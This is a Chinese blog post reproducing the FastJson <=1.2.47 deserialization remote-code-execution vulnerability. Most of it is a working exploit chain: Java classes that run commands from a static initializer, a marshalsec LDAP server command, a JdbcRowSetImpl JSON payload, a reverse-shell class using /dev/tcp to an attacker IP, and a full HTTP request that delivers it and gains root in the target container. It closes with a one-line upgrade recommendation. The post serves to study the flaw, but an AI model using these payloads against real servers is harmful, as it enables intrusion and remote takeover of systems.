1. 程式人生 > 實用技巧 >FastJson<=1.2.47漏洞復現

FastJson<=1.2.47漏洞復現

關於FastJson<=1.2.47漏洞復現

參考博文:

https://www.cnblogs.com/sijidou/p/13121332.html

https://blog.csdn.net/qq_40989258/article/details/103049474

0x01 概述

  1. Nmap掃描Web IP地址,可以得出8090埠是業務埠

2. 通過DNSLOG服務可以探測業務是否存在fastjson業務:http://www.adminxe.com/1037.html

此處我只直接可以看到pom.xml的引用,DNSLOG方法mark下後續研究

0x02 環境搭建

  1. 本地先構造POC,新建TouchFile.Java,並進行編譯
import java.lang.Runtime;
import java.lang.Process;

public class TouchFile {
    static {
        try {
            Runtime rt = Runtime.getRuntime();
            String[] commands = {"touch", "/tmp/success"};
            Process pc = rt.exec(commands);
            pc.waitFor();
        } catch (Exception e) {
            // do nothing
        }
    }
}

本地用Python啟動一個HTTP服務,並把TouchFile放在啟動目錄

python2 -m SimpleHTTPServer 1111

python3 無SimpleHTTPServe模組

也可啟動tomcat容器,將TouchFile放至業務啟動目錄即可

2. 啟動LDAP服務。

是藉助https://github.com/mbechler/marshalsec服務開啟ladp服務,監聽9999埠,並指定載入遠端類TouchFile.class

java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "

http://ip:1111/#TouchFile" 9999

0x03 漏洞利用

編寫Playload

{
   "name":{
        "@type":"java.lang.Class",
        "val":"com.sun.rowset.JdbcRowSetImpl"
    },
    "x":{
        "@type":"com.sun.rowset.JdbcRowSetImpl",
     "dataSourceName":"ldap://IP:9999/TouchFile",
        "autoCommit":true

    }
}

報文如下:

執行後可以看到LDAP和Python有報文返回。

登入到容器內部,可以看到 檔案已經建立成功,實現RCE目的,執行任意命令

同理可以通過反彈shell直接拿到主機 (通過linux通訊)

構造playload

import java.lang.Runtime;

import java.lang.Process;

public class Shell{

static {

try {

Runtime rt = Runtime.getRuntime();

String[] commands = {"/bin/bash","-c","bash -i >& /dev/tcp/IP/7777 0>&1"};

Process pc = rt.exec(commands);

pc.waitFor();

} catch (Exception e) {

// do nothing

}}}

報文如下:

POST  / HTTP/1.1
Host: 目標IP:8090
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.89 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
Content-Length: 290

{

    "name":{

        "@type":"java.lang.Class",

        "val":"com.sun.rowset.JdbcRowSetImpl"

    },

    "x":{

        "@type":"com.sun.rowset.JdbcRowSetImpl",

        "dataSourceName":"rmi://靶機IP:9999/Shell",

        "autoCommit":true

    }

 

}

Shell回顯直接拿到目標主機容器root許可權

修復意見:升級fastjson為1.2.70版本